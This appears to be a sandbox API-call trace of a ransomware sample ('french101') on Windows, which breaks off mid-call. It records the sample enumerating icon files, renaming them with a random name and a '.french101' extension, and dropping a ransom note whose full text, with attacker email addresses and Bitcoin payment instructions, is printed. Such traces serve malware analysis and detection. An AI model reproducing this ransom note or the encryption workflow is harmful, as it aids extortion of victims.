[0284.425] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0284.429] GetLastError () returned 0x2 [0284.429] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.429] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f3a098, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0284.429] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0284.431] GetLastError () returned 0x2 [0284.431] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.431] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0190, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0284.431] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0284.433] GetLastError () returned 0x2 [0284.433] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f3a098, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\ⷘmP") returned 6 [0284.433] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0284.435] GetLastError () returned 0x2 [0284.435] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f3a098, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0284.435] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.435] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0284.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa68, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0284.435] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.435] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0284.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@窜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0284.435] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.435] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0284.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@窜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0284.436] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.436] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0284.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f3a0c8, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@窜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0284.436] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@窜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0284.436] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f3a098, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@窜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0284.436] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f3a098, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@窜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0284.436] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@窜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0284.436] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@窜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0284.436] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f3a098, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@窜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0284.437] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.437] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f3a098, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@窜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0284.437] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.437] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f3a098, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@窜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0284.437] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.437] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@窜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0284.437] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.437] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0284.437] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0284.437] SHGetPathFromIDListW (in: pidl=0x6e4678, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0284.437] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0284.437] IMalloc:Free (This=0x75e4d000, pv=0x6e4678) [0284.437] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0284.438] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0284.438] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0284.439] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0284.439] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0284.439] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0284.439] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0284.439] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.439] CharLowerBuffW (in: lpsz="Print.ico", cchLength=0x9 | out: lpsz="print.ico") returned 0x9 [0284.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0284.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0284.439] CharLowerBuffW (in: lpsz=".ico", cchLength=0x4 | out: lpsz=".ico") returned 0x4 [0284.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ico", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".icow", lpUsedDefaultChar=0x0) returned 4 [0284.440] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\я" (normalized: "c:\\588bce7c90097ed212\\graphics\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.442] WriteFile (in: hFile=0x308, lpBuffer=0x3f31c98*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c98*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0284.556] CloseHandle (hObject=0x308) returned 1 [0284.556] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\я" (normalized: "c:\\588bce7c90097ed212\\graphics\\я")) returned 1 [0284.558] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0284.558] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0284.558] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0284.558] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0284.558] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico", dwFileAttributes=0x20) returned 1 [0284.560] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.560] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.560] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x47e [0284.560] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.560] SetFilePointer (in: hFile=0x308, lDistanceToMove=1150, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x47e [0284.560] WriteFile (in: hFile=0x308, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0284.572] CloseHandle (hObject=0x308) returned 1 [0284.573] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.573] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.573] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x47f [0284.573] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.573] SetFilePointer (in: hFile=0x308, lDistanceToMove=1150, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x47e [0284.573] SetEndOfFile (hFile=0x308) returned 1 [0284.576] CloseHandle (hObject=0x308) returned 1 [0284.576] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.577] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0284.577] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x47e [0284.577] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0284.596] CloseHandle (hObject=0x308) returned 1 [0284.596] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\0QxZJdnVFnYQqQKDAOVtx8Ua.french101" (normalized: "c:\\588bce7c90097ed212\\graphics\\0qxzjdnvfnyqqqkdaovtx8ua.french101")) returned 1 [0284.597] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\0QxZJdnVFnYQqQKDAOVtx8Ua.french101" (normalized: "c:\\588bce7c90097ed212\\graphics\\0qxzjdnvfnyqqqkdaovtx8ua.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.597] CloseHandle (hObject=0x308) returned 1 [0284.597] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\0QxZJdnVFnYQqQKDAOVtx8Ua.french101", dwFileAttributes=0x80) returned 1 [0284.598] CloseHandle (hObject=0x308) returned 0 [0284.598] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0284.598] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0284.598] GetLastError () returned 0x2 [0284.598] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\graphics\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.601] WriteFile (in: hFile=0x308, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0284.603] CloseHandle (hObject=0x308) returned 1 [0284.604] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0284.604] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0284.604] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0284.604] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.604] CharLowerBuffW (in: lpsz="Rotate1.ico", cchLength=0xb | out: lpsz="rotate1.ico") returned 0xb [0284.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0284.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1è\x19", lpUsedDefaultChar=0x0) returned 1 [0284.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.604] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0284.605] CharLowerBuffW (in: lpsz=".ico", cchLength=0x4 | out: lpsz=".ico") returned 0x4 [0284.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ico", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 